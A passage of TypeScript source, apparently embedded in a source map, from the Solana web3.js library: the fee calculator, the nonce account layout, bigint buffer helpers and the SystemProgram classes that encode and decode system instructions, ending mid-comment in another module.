FeeCalculatorLayout = BufferLayout.nu64('lamportsPerSignature');\n\n/**\n * Calculator for transaction fees.\n *\n * @deprecated Deprecated since Solana v1.8.0.\n */\nexport interface FeeCalculator {\n /** Cost in lamports to validate a signature. */\n lamportsPerSignature: number;\n}\n","import * as BufferLayout from '@solana/buffer-layout';\nimport {Buffer} from 'buffer';\n\nimport * as Layout from './layout';\nimport {PublicKey} from './publickey';\nimport type {FeeCalculator} from './fee-calculator';\nimport {FeeCalculatorLayout} from './fee-calculator';\nimport {toBuffer} from './utils/to-buffer';\n\n/**\n * See https://github.com/solana-labs/solana/blob/0ea2843ec9cdc517572b8e62c959f41b55cf4453/sdk/src/nonce_state.rs#L29-L32\n *\n * @internal\n */\nconst NonceAccountLayout = BufferLayout.struct<\n Readonly<{\n authorizedPubkey: Uint8Array;\n feeCalculator: Readonly<{\n lamportsPerSignature: number;\n }>;\n nonce: Uint8Array;\n state: number;\n version: number;\n }>\n>([\n BufferLayout.u32('version'),\n BufferLayout.u32('state'),\n Layout.publicKey('authorizedPubkey'),\n Layout.publicKey('nonce'),\n BufferLayout.struct<Readonly<{lamportsPerSignature: number}>>(\n [FeeCalculatorLayout],\n 'feeCalculator',\n ),\n]);\n\nexport const NONCE_ACCOUNT_LENGTH = NonceAccountLayout.span;\n\n/**\n * A durable nonce is a 32 byte value encoded as a base58 string.\n */\nexport type DurableNonce = string;\n\ntype NonceAccountArgs = {\n authorizedPubkey: PublicKey;\n nonce: DurableNonce;\n feeCalculator: FeeCalculator;\n};\n\n/**\n * NonceAccount class\n */\nexport class NonceAccount {\n authorizedPubkey: PublicKey;\n nonce: DurableNonce;\n feeCalculator: FeeCalculator;\n\n /**\n * @internal\n */\n constructor(args: NonceAccountArgs) {\n this.authorizedPubkey = args.authorizedPubkey;\n this.nonce = args.nonce;\n this.feeCalculator = args.feeCalculator;\n }\n\n /**\n * Deserialize NonceAccount from the account data.\n *\n * @param buffer account data\n * @return NonceAccount\n */\n static fromAccountData(\n buffer: Buffer | Uint8Array | Array<number>,\n ): NonceAccount {\n const nonceAccount = NonceAccountLayout.decode(toBuffer(buffer), 0);\n return new NonceAccount({\n authorizedPubkey: new PublicKey(nonceAccount.authorizedPubkey),\n nonce: new PublicKey(nonceAccount.nonce).toString(),\n feeCalculator: nonceAccount.feeCalculator,\n });\n }\n}\n","import {Buffer} from 'buffer';\nimport {blob, Layout} from '@solana/buffer-layout';\nimport {toBigIntLE, toBufferLE} from 'bigint-buffer';\n\ninterface EncodeDecode<T> {\n decode(buffer: Buffer, offset?: number): T;\n encode(src: T, buffer: Buffer, offset?: number): number;\n}\n\nconst encodeDecode = <T>(layout: Layout<T>): EncodeDecode<T> => {\n const decode = layout.decode.bind(layout);\n const encode = layout.encode.bind(layout);\n return {decode, encode};\n};\n\nconst bigInt =\n (length: number) =>\n (property?: string): Layout<bigint> => {\n const layout = blob(length, property);\n const {encode, decode} = encodeDecode(layout);\n\n const bigIntLayout = layout as Layout<unknown> as Layout<bigint>;\n\n bigIntLayout.decode = (buffer: Buffer, offset: number) => {\n const src = decode(buffer, offset);\n return toBigIntLE(Buffer.from(src));\n };\n\n bigIntLayout.encode = (bigInt: bigint, buffer: Buffer, offset: number) => {\n const src = toBufferLE(bigInt, length);\n return encode(src, buffer, offset);\n };\n\n return bigIntLayout;\n };\n\nexport const u64 = bigInt(8);\n\nexport const u128 = bigInt(16);\n\nexport const u192 = bigInt(24);\n\nexport const u256 = bigInt(32);\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport {\n encodeData,\n decodeData,\n InstructionType,\n IInstructionInputData,\n} from '../instruction';\nimport * as Layout from '../layout';\nimport {NONCE_ACCOUNT_LENGTH} from '../nonce-account';\nimport {PublicKey} from '../publickey';\nimport {SYSVAR_RECENT_BLOCKHASHES_PUBKEY, SYSVAR_RENT_PUBKEY} from '../sysvar';\nimport {Transaction, TransactionInstruction} from '../transaction';\nimport {toBuffer} from '../utils/to-buffer';\nimport {u64} from '../utils/bigint';\n\n/**\n * Create account system transaction params\n */\nexport type CreateAccountParams = {\n /** The account that will transfer lamports to the created account */\n fromPubkey: PublicKey;\n /** Public key of the created account */\n newAccountPubkey: PublicKey;\n /** Amount of lamports to transfer to the created account */\n lamports: number;\n /** Amount of space in bytes to allocate to the created account */\n space: number;\n /** Public key of the program to assign as the owner of the created account */\n programId: PublicKey;\n};\n\n/**\n * Transfer system transaction params\n */\nexport type TransferParams = {\n /** Account that will transfer lamports */\n fromPubkey: PublicKey;\n /** Account that will receive transferred lamports */\n toPubkey: PublicKey;\n /** Amount of lamports to transfer */\n lamports: number | bigint;\n};\n\n/**\n * Assign system transaction params\n */\nexport type AssignParams = {\n /** Public key of the account which will be assigned a new owner */\n accountPubkey: PublicKey;\n /** Public key of the program to assign as the owner */\n programId: PublicKey;\n};\n\n/**\n * Create account with seed system transaction params\n */\nexport type CreateAccountWithSeedParams = {\n /** The account that will transfer lamports to the created account */\n fromPubkey: PublicKey;\n /** Public key of the created account. Must be pre-calculated with PublicKey.createWithSeed() */\n newAccountPubkey: PublicKey;\n /** Base public key to use to derive the address of the created account. Must be the same as the base key used to create `newAccountPubkey` */\n basePubkey: PublicKey;\n /** Seed to use to derive the address of the created account. Must be the same as the seed used to create `newAccountPubkey` */\n seed: string;\n /** Amount of lamports to transfer to the created account */\n lamports: number;\n /** Amount of space in bytes to allocate to the created account */\n space: number;\n /** Public key of the program to assign as the owner of the created account */\n programId: PublicKey;\n};\n\n/**\n * Create nonce account system transaction params\n */\nexport type CreateNonceAccountParams = {\n /** The account that will transfer lamports to the created nonce account */\n fromPubkey: PublicKey;\n /** Public key of the created nonce account */\n noncePubkey: PublicKey;\n /** Public key to set as authority of the created nonce account */\n authorizedPubkey: PublicKey;\n /** Amount of lamports to transfer to the created nonce account */\n lamports: number;\n};\n\n/**\n * Create nonce account with seed system transaction params\n */\nexport type CreateNonceAccountWithSeedParams = {\n /** The account that will transfer lamports to the created nonce account */\n fromPubkey: PublicKey;\n /** Public key of the created nonce account */\n noncePubkey: PublicKey;\n /** Public key to set as authority of the created nonce account */\n authorizedPubkey: PublicKey;\n /** Amount of lamports to transfer to the created nonce account */\n lamports: number;\n /** Base public key to use to derive the address of the nonce account */\n basePubkey: PublicKey;\n /** Seed to use to derive the address of the nonce account */\n seed: string;\n};\n\n/**\n * Initialize nonce account system instruction params\n */\nexport type InitializeNonceParams = {\n /** Nonce account which will be initialized */\n noncePubkey: PublicKey;\n /** Public key to set as authority of the initialized nonce account */\n authorizedPubkey: PublicKey;\n};\n\n/**\n * Advance nonce account system instruction params\n */\nexport type AdvanceNonceParams = {\n /** Nonce account */\n noncePubkey: PublicKey;\n /** Public key of the nonce authority */\n authorizedPubkey: PublicKey;\n};\n\n/**\n * Withdraw nonce account system transaction params\n */\nexport type WithdrawNonceParams = {\n /** Nonce account */\n noncePubkey: PublicKey;\n /** Public key of the nonce authority */\n authorizedPubkey: PublicKey;\n /** Public key of the account which will receive the withdrawn nonce account balance */\n toPubkey: PublicKey;\n /** Amount of lamports to withdraw from the nonce account */\n lamports: number;\n};\n\n/**\n * Authorize nonce account system transaction params\n */\nexport type AuthorizeNonceParams = {\n /** Nonce account */\n noncePubkey: PublicKey;\n /** Public key of the current nonce authority */\n authorizedPubkey: PublicKey;\n /** Public key to set as the new nonce authority */\n newAuthorizedPubkey: PublicKey;\n};\n\n/**\n * Allocate account system transaction params\n */\nexport type AllocateParams = {\n /** Account to allocate */\n accountPubkey: PublicKey;\n /** Amount of space in bytes to allocate */\n space: number;\n};\n\n/**\n * Allocate account with seed system transaction params\n */\nexport type AllocateWithSeedParams = {\n /** Account to allocate */\n accountPubkey: PublicKey;\n /** Base public key to use to derive the address of the allocated account */\n basePubkey: PublicKey;\n /** Seed to use to derive the address of the allocated account */\n seed: string;\n /** Amount of space in bytes to allocate */\n space: number;\n /** Public key of the program to assign as the owner of the allocated account */\n programId: PublicKey;\n};\n\n/**\n * Assign account with seed system transaction params\n */\nexport type AssignWithSeedParams = {\n /** Public key of the account which will be assigned a new owner */\n accountPubkey: PublicKey;\n /** Base public key to use to derive the address of the assigned account */\n basePubkey: PublicKey;\n /** Seed to use to derive the address of the assigned account */\n seed: string;\n /** Public key of the program to assign as the owner */\n programId: PublicKey;\n};\n\n/**\n * Transfer with seed system transaction params\n */\nexport type TransferWithSeedParams = {\n /** Account that will transfer lamports */\n fromPubkey: PublicKey;\n /** Base public key to use to derive the funding account address */\n basePubkey: PublicKey;\n /** Account that will receive transferred lamports */\n toPubkey: PublicKey;\n /** Amount of lamports to transfer */\n lamports: number | bigint;\n /** Seed to use to derive the funding account address */\n seed: string;\n /** Program id to use to derive the funding account address */\n programId: PublicKey;\n};\n\n/** Decoded transfer system transaction instruction */\nexport type DecodedTransferInstruction = {\n /** Account that will transfer lamports */\n fromPubkey: PublicKey;\n /** Account that will receive transferred lamports */\n toPubkey: PublicKey;\n /** Amount of lamports to transfer */\n lamports: bigint;\n};\n\n/** Decoded transferWithSeed system transaction instruction */\nexport type DecodedTransferWithSeedInstruction = {\n /** Account that will transfer lamports */\n fromPubkey: PublicKey;\n /** Base public key to use to derive the funding account address */\n basePubkey: PublicKey;\n /** Account that will receive transferred lamports */\n toPubkey: PublicKey;\n /** Amount of lamports to transfer */\n lamports: bigint;\n /** Seed to use to derive the funding account address */\n seed: string;\n /** Program id to use to derive the funding account address */\n programId: PublicKey;\n};\n\n/**\n * System Instruction class\n */\nexport class SystemInstruction {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Decode a system instruction and retrieve the instruction type.\n */\n static decodeInstructionType(\n instruction: TransactionInstruction,\n ): SystemInstructionType {\n this.checkProgramId(instruction.programId);\n\n const instructionTypeLayout = BufferLayout.u32('instruction');\n const typeIndex = instructionTypeLayout.decode(instruction.data);\n\n let type: SystemInstructionType | undefined;\n for (const [ixType, layout] of Object.entries(SYSTEM_INSTRUCTION_LAYOUTS)) {\n if (layout.index == typeIndex) {\n type = ixType as SystemInstructionType;\n break;\n }\n }\n\n if (!type) {\n throw new Error('Instruction type incorrect; not a SystemInstruction');\n }\n\n return type;\n }\n\n /**\n * Decode a create account system instruction and retrieve the instruction params.\n */\n static decodeCreateAccount(\n instruction: TransactionInstruction,\n ): CreateAccountParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {lamports, space, programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.Create,\n instruction.data,\n );\n\n return {\n fromPubkey: instruction.keys[0].pubkey,\n newAccountPubkey: instruction.keys[1].pubkey,\n lamports,\n space,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode a transfer system instruction and retrieve the instruction params.\n */\n static decodeTransfer(\n instruction: TransactionInstruction,\n ): DecodedTransferInstruction {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {lamports} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.Transfer,\n instruction.data,\n );\n\n return {\n fromPubkey: instruction.keys[0].pubkey,\n toPubkey: instruction.keys[1].pubkey,\n lamports,\n };\n }\n\n /**\n * Decode a transfer with seed system instruction and retrieve the instruction params.\n */\n static decodeTransferWithSeed(\n instruction: TransactionInstruction,\n ): DecodedTransferWithSeedInstruction {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n const {lamports, seed, programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.TransferWithSeed,\n instruction.data,\n );\n\n return {\n fromPubkey: instruction.keys[0].pubkey,\n basePubkey: instruction.keys[1].pubkey,\n toPubkey: instruction.keys[2].pubkey,\n lamports,\n seed,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode an allocate system instruction and retrieve the instruction params.\n */\n static decodeAllocate(instruction: TransactionInstruction): AllocateParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 1);\n\n const {space} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.Allocate,\n instruction.data,\n );\n\n return {\n accountPubkey: instruction.keys[0].pubkey,\n space,\n };\n }\n\n /**\n * Decode an allocate with seed system instruction and retrieve the instruction params.\n */\n static decodeAllocateWithSeed(\n instruction: TransactionInstruction,\n ): AllocateWithSeedParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 1);\n\n const {base, seed, space, programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.AllocateWithSeed,\n instruction.data,\n );\n\n return {\n accountPubkey: instruction.keys[0].pubkey,\n basePubkey: new PublicKey(base),\n seed,\n space,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode an assign system instruction and retrieve the instruction params.\n */\n static decodeAssign(instruction: TransactionInstruction): AssignParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 1);\n\n const {programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.Assign,\n instruction.data,\n );\n\n return {\n accountPubkey: instruction.keys[0].pubkey,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode an assign with seed system instruction and retrieve the instruction params.\n */\n static decodeAssignWithSeed(\n instruction: TransactionInstruction,\n ): AssignWithSeedParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 1);\n\n const {base, seed, programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.AssignWithSeed,\n instruction.data,\n );\n\n return {\n accountPubkey: instruction.keys[0].pubkey,\n basePubkey: new PublicKey(base),\n seed,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode a create account with seed system instruction and retrieve the instruction params.\n */\n static decodeCreateWithSeed(\n instruction: TransactionInstruction,\n ): CreateAccountWithSeedParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {base, seed, lamports, space, programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.CreateWithSeed,\n instruction.data,\n );\n\n return {\n fromPubkey: instruction.keys[0].pubkey,\n newAccountPubkey: instruction.keys[1].pubkey,\n basePubkey: new PublicKey(base),\n seed,\n lamports,\n space,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode a nonce initialize system instruction and retrieve the instruction params.\n */\n static decodeNonceInitialize(\n instruction: TransactionInstruction,\n ): InitializeNonceParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n const {authorized} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.InitializeNonceAccount,\n instruction.data,\n );\n\n return {\n noncePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: new PublicKey(authorized),\n };\n }\n\n /**\n * Decode a nonce advance system instruction and retrieve the instruction params.\n */\n static decodeNonceAdvance(\n instruction: TransactionInstruction,\n ): AdvanceNonceParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.AdvanceNonceAccount,\n instruction.data,\n );\n\n return {\n noncePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: instruction.keys[2].pubkey,\n };\n }\n\n /**\n * Decode a nonce withdraw system instruction and retrieve the instruction params.\n */\n static decodeNonceWithdraw(\n instruction: TransactionInstruction,\n ): WithdrawNonceParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 5);\n\n const {lamports} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.WithdrawNonceAccount,\n instruction.data,\n );\n\n return {\n noncePubkey: instruction.keys[0].pubkey,\n toPubkey: instruction.keys[1].pubkey,\n authorizedPubkey: instruction.keys[4].pubkey,\n lamports,\n };\n }\n\n /**\n * Decode a nonce authorize system instruction and retrieve the instruction params.\n */\n static decodeNonceAuthorize(\n instruction: TransactionInstruction,\n ): AuthorizeNonceParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {authorized} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.AuthorizeNonceAccount,\n instruction.data,\n );\n\n return {\n noncePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: instruction.keys[1].pubkey,\n newAuthorizedPubkey: new PublicKey(authorized),\n };\n }\n\n /**\n * @internal\n */\n static checkProgramId(programId: PublicKey) {\n if (!programId.equals(SystemProgram.programId)) {\n throw new Error('invalid instruction; programId is not SystemProgram');\n }\n }\n\n /**\n * @internal\n */\n static checkKeyLength(keys: Array<any>, expectedLength: number) {\n if (keys.length < expectedLength) {\n throw new Error(\n `invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`,\n );\n }\n }\n}\n\n/**\n * An enumeration of valid SystemInstructionType's\n */\nexport type SystemInstructionType =\n // FIXME\n // It would be preferable for this type to be `keyof SystemInstructionInputData`\n // but Typedoc does not transpile `keyof` expressions.\n // See https://github.com/TypeStrong/typedoc/issues/1894\n | 'AdvanceNonceAccount'\n | 'Allocate'\n | 'AllocateWithSeed'\n | 'Assign'\n | 'AssignWithSeed'\n | 'AuthorizeNonceAccount'\n | 'Create'\n | 'CreateWithSeed'\n | 'InitializeNonceAccount'\n | 'Transfer'\n | 'TransferWithSeed'\n | 'WithdrawNonceAccount'\n | 'UpgradeNonceAccount';\n\ntype SystemInstructionInputData = {\n AdvanceNonceAccount: IInstructionInputData;\n Allocate: IInstructionInputData & {\n space: number;\n };\n AllocateWithSeed: IInstructionInputData & {\n base: Uint8Array;\n programId: Uint8Array;\n seed: string;\n space: number;\n };\n Assign: IInstructionInputData & {\n programId: Uint8Array;\n };\n AssignWithSeed: IInstructionInputData & {\n base: Uint8Array;\n seed: string;\n programId: Uint8Array;\n };\n AuthorizeNonceAccount: IInstructionInputData & {\n authorized: Uint8Array;\n };\n Create: IInstructionInputData & {\n lamports: number;\n programId: Uint8Array;\n space: number;\n };\n CreateWithSeed: IInstructionInputData & {\n base: Uint8Array;\n lamports: number;\n programId: Uint8Array;\n seed: string;\n space: number;\n };\n InitializeNonceAccount: IInstructionInputData & {\n authorized: Uint8Array;\n };\n Transfer: IInstructionInputData & {\n lamports: bigint;\n };\n TransferWithSeed: IInstructionInputData & {\n lamports: bigint;\n programId: Uint8Array;\n seed: string;\n };\n WithdrawNonceAccount: IInstructionInputData & {\n lamports: number;\n };\n UpgradeNonceAccount: IInstructionInputData;\n};\n\n/**\n * An enumeration of valid system InstructionType's\n * @internal\n */\nexport const SYSTEM_INSTRUCTION_LAYOUTS = Object.freeze<{\n [Instruction in SystemInstructionType]: InstructionType<\n SystemInstructionInputData[Instruction]\n >;\n}>({\n Create: {\n index: 0,\n layout: BufferLayout.struct<SystemInstructionInputData['Create']>([\n BufferLayout.u32('instruction'),\n BufferLayout.ns64('lamports'),\n BufferLayout.ns64('space'),\n Layout.publicKey('programId'),\n ]),\n },\n Assign: {\n index: 1,\n layout: BufferLayout.struct<SystemInstructionInputData['Assign']>([\n BufferLayout.u32('instruction'),\n Layout.publicKey('programId'),\n ]),\n },\n Transfer: {\n index: 2,\n layout: BufferLayout.struct<SystemInstructionInputData['Transfer']>([\n BufferLayout.u32('instruction'),\n u64('lamports'),\n ]),\n },\n CreateWithSeed: {\n index: 3,\n layout: BufferLayout.struct<SystemInstructionInputData['CreateWithSeed']>([\n BufferLayout.u32('instruction'),\n Layout.publicKey('base'),\n Layout.rustString('seed'),\n BufferLayout.ns64('lamports'),\n BufferLayout.ns64('space'),\n Layout.publicKey('programId'),\n ]),\n },\n AdvanceNonceAccount: {\n index: 4,\n layout: BufferLayout.struct<\n SystemInstructionInputData['AdvanceNonceAccount']\n >([BufferLayout.u32('instruction')]),\n },\n WithdrawNonceAccount: {\n index: 5,\n layout: BufferLayout.struct<\n SystemInstructionInputData['WithdrawNonceAccount']\n >([BufferLayout.u32('instruction'), BufferLayout.ns64('lamports')]),\n },\n InitializeNonceAccount: {\n index: 6,\n layout: BufferLayout.struct<\n SystemInstructionInputData['InitializeNonceAccount']\n >([BufferLayout.u32('instruction'), Layout.publicKey('authorized')]),\n },\n AuthorizeNonceAccount: {\n index: 7,\n layout: BufferLayout.struct<\n SystemInstructionInputData['AuthorizeNonceAccount']\n >([BufferLayout.u32('instruction'), Layout.publicKey('authorized')]),\n },\n Allocate: {\n index: 8,\n layout: BufferLayout.struct<SystemInstructionInputData['Allocate']>([\n BufferLayout.u32('instruction'),\n BufferLayout.ns64('space'),\n ]),\n },\n AllocateWithSeed: {\n index: 9,\n layout: BufferLayout.struct<SystemInstructionInputData['AllocateWithSeed']>(\n [\n BufferLayout.u32('instruction'),\n Layout.publicKey('base'),\n Layout.rustString('seed'),\n BufferLayout.ns64('space'),\n Layout.publicKey('programId'),\n ],\n ),\n },\n AssignWithSeed: {\n index: 10,\n layout: BufferLayout.struct<SystemInstructionInputData['AssignWithSeed']>([\n BufferLayout.u32('instruction'),\n Layout.publicKey('base'),\n Layout.rustString('seed'),\n Layout.publicKey('programId'),\n ]),\n },\n TransferWithSeed: {\n index: 11,\n layout: BufferLayout.struct<SystemInstructionInputData['TransferWithSeed']>(\n [\n BufferLayout.u32('instruction'),\n u64('lamports'),\n Layout.rustString('seed'),\n Layout.publicKey('programId'),\n ],\n ),\n },\n UpgradeNonceAccount: {\n index: 12,\n layout: BufferLayout.struct<\n SystemInstructionInputData['UpgradeNonceAccount']\n >([BufferLayout.u32('instruction')]),\n },\n});\n\n/**\n * Factory class for transactions to interact with the System program\n */\nexport class SystemProgram {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the System program\n */\n static programId: PublicKey = new PublicKey(\n '11111111111111111111111111111111',\n );\n\n /**\n * Generate a transaction instruction that creates a new account\n */\n static createAccount(params: CreateAccountParams): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.Create;\n const data = encodeData(type, {\n lamports: params.lamports,\n space: params.space,\n programId: toBuffer(params.programId.toBuffer()),\n });\n\n return new TransactionInstruction({\n keys: [\n {pubkey: params.fromPubkey, isSigner: true, isWritable: true},\n {pubkey: params.newAccountPubkey, isSigner: true, isWritable: true},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction instruction that transfers lamports from one account to another\n */\n static transfer(\n params: TransferParams | TransferWithSeedParams,\n ): TransactionInstruction {\n let data;\n let keys;\n if ('basePubkey' in params) {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.TransferWithSeed;\n data = encodeData(type, {\n lamports: BigInt(params.lamports),\n seed: params.seed,\n programId: toBuffer(params.programId.toBuffer()),\n });\n keys = [\n {pubkey: params.fromPubkey, isSigner: false, isWritable: true},\n {pubkey: params.basePubkey, isSigner: true, isWritable: false},\n {pubkey: params.toPubkey, isSigner: false, isWritable: true},\n ];\n } else {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.Transfer;\n data = encodeData(type, {lamports: BigInt(params.lamports)});\n keys = [\n {pubkey: params.fromPubkey, isSigner: true, isWritable: true},\n {pubkey: params.toPubkey, isSigner: false, isWritable: true},\n ];\n }\n\n return new TransactionInstruction({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction instruction that assigns an account to a program\n */\n static assign(\n params: AssignParams | AssignWithSeedParams,\n ): TransactionInstruction {\n let data;\n let keys;\n if ('basePubkey' in params) {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.AssignWithSeed;\n data = encodeData(type, {\n base: toBuffer(params.basePubkey.toBuffer()),\n seed: params.seed,\n programId: toBuffer(params.programId.toBuffer()),\n });\n keys = [\n {pubkey: params.accountPubkey, isSigner: false, isWritable: true},\n {pubkey: params.basePubkey, isSigner: true, isWritable: false},\n ];\n } else {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.Assign;\n data = encodeData(type, {\n programId: toBuffer(params.programId.toBuffer()),\n });\n keys = [{pubkey: params.accountPubkey, isSigner: true, isWritable: true}];\n }\n\n return new TransactionInstruction({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction instruction that creates a new account at\n * an address generated with `from`, a seed, and programId\n */\n static createAccountWithSeed(\n params: CreateAccountWithSeedParams,\n ): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.CreateWithSeed;\n const data = encodeData(type, {\n base: toBuffer(params.basePubkey.toBuffer()),\n seed: params.seed,\n lamports: params.lamports,\n space: params.space,\n programId: toBuffer(params.programId.toBuffer()),\n });\n let keys = [\n {pubkey: params.fromPubkey, isSigner: true, isWritable: true},\n {pubkey: params.newAccountPubkey, isSigner: false, isWritable: true},\n ];\n if (!params.basePubkey.equals(params.fromPubkey)) {\n keys.push({\n pubkey: params.basePubkey,\n isSigner: true,\n isWritable: false,\n });\n }\n\n return new TransactionInstruction({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction that creates a new Nonce account\n */\n static createNonceAccount(\n params: CreateNonceAccountParams | CreateNonceAccountWithSeedParams,\n ): Transaction {\n const transaction = new Transaction();\n if ('basePubkey' in params && 'seed' in params) {\n transaction.add(\n SystemProgram.createAccountWithSeed({\n fromPubkey: params.fromPubkey,\n newAccountPubkey: params.noncePubkey,\n basePubkey: params.basePubkey,\n seed: params.seed,\n lamports: params.lamports,\n space: NONCE_ACCOUNT_LENGTH,\n programId: this.programId,\n }),\n );\n } else {\n transaction.add(\n SystemProgram.createAccount({\n fromPubkey: params.fromPubkey,\n newAccountPubkey: params.noncePubkey,\n lamports: params.lamports,\n space: NONCE_ACCOUNT_LENGTH,\n programId: this.programId,\n }),\n );\n }\n\n const initParams = {\n noncePubkey: params.noncePubkey,\n authorizedPubkey: params.authorizedPubkey,\n };\n\n transaction.add(this.nonceInitialize(initParams));\n return transaction;\n }\n\n /**\n * Generate an instruction to initialize a Nonce account\n */\n static nonceInitialize(\n params: InitializeNonceParams,\n ): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.InitializeNonceAccount;\n const data = encodeData(type, {\n authorized: toBuffer(params.authorizedPubkey.toBuffer()),\n });\n const instructionData = {\n keys: [\n {pubkey: params.noncePubkey, isSigner: false, isWritable: true},\n {\n pubkey: SYSVAR_RECENT_BLOCKHASHES_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: SYSVAR_RENT_PUBKEY, isSigner: false, isWritable: false},\n ],\n programId: this.programId,\n data,\n };\n return new TransactionInstruction(instructionData);\n }\n\n /**\n * Generate an instruction to advance the nonce in a Nonce account\n */\n static nonceAdvance(params: AdvanceNonceParams): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.AdvanceNonceAccount;\n const data = encodeData(type);\n const instructionData = {\n keys: [\n {pubkey: params.noncePubkey, isSigner: false, isWritable: true},\n {\n pubkey: SYSVAR_RECENT_BLOCKHASHES_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: params.authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n };\n return new TransactionInstruction(instructionData);\n }\n\n /**\n * Generate a transaction instruction that withdraws lamports from a Nonce account\n */\n static nonceWithdraw(params: WithdrawNonceParams): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.WithdrawNonceAccount;\n const data = encodeData(type, {lamports: params.lamports});\n\n return new TransactionInstruction({\n keys: [\n {pubkey: params.noncePubkey, isSigner: false, isWritable: true},\n {pubkey: params.toPubkey, isSigner: false, isWritable: true},\n {\n pubkey: SYSVAR_RECENT_BLOCKHASHES_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {\n pubkey: SYSVAR_RENT_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: params.authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction instruction that authorizes a new PublicKey as the authority\n * on a Nonce account.\n */\n static nonceAuthorize(params: AuthorizeNonceParams): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.AuthorizeNonceAccount;\n const data = encodeData(type, {\n authorized: toBuffer(params.newAuthorizedPubkey.toBuffer()),\n });\n\n return new TransactionInstruction({\n keys: [\n {pubkey: params.noncePubkey, isSigner: false, isWritable: true},\n {pubkey: params.authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction instruction that allocates space in an account without funding\n */\n static allocate(\n params: AllocateParams | AllocateWithSeedParams,\n ): TransactionInstruction {\n let data;\n let keys;\n if ('basePubkey' in params) {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.AllocateWithSeed;\n data = encodeData(type, {\n base: toBuffer(params.basePubkey.toBuffer()),\n seed: params.seed,\n space: params.space,\n programId: toBuffer(params.programId.toBuffer()),\n });\n keys = [\n {pubkey: params.accountPubkey, isSigner: false, isWritable: true},\n {pubkey: params.basePubkey, isSigner: true, isWritable: false},\n ];\n } else {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.Allocate;\n data = encodeData(type, {\n space: params.space,\n });\n keys = [{pubkey: params.accountPubkey, isSigner: true, isWritable: true}];\n }\n\n return new TransactionInstruction({\n keys,\n programId: this.programId,\n data,\n });\n }\n}\n","import {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport {PublicKey} from './publickey';\nimport {Transaction, PACKET_DATA_SIZE} from './transaction';\nimport {MS_PER_SLOT} from './timing';\nimport {SYSVAR_RENT_PUBKEY} from './sysvar';\nimport {sendAndConfirmTransaction} from './utils/send-and-confirm-transaction';\nimport {sleep} from './utils/sleep';\nimport type {Connection} from './connection';\nimport type {Signer} from './keypair';\nimport {SystemProgram} from './programs/system';\nimport {IInstructionInputData} from './instruction';\n\n// Keep program chunks under PACKET_DATA_SIZE, leaving enough room for the\n// rest of the 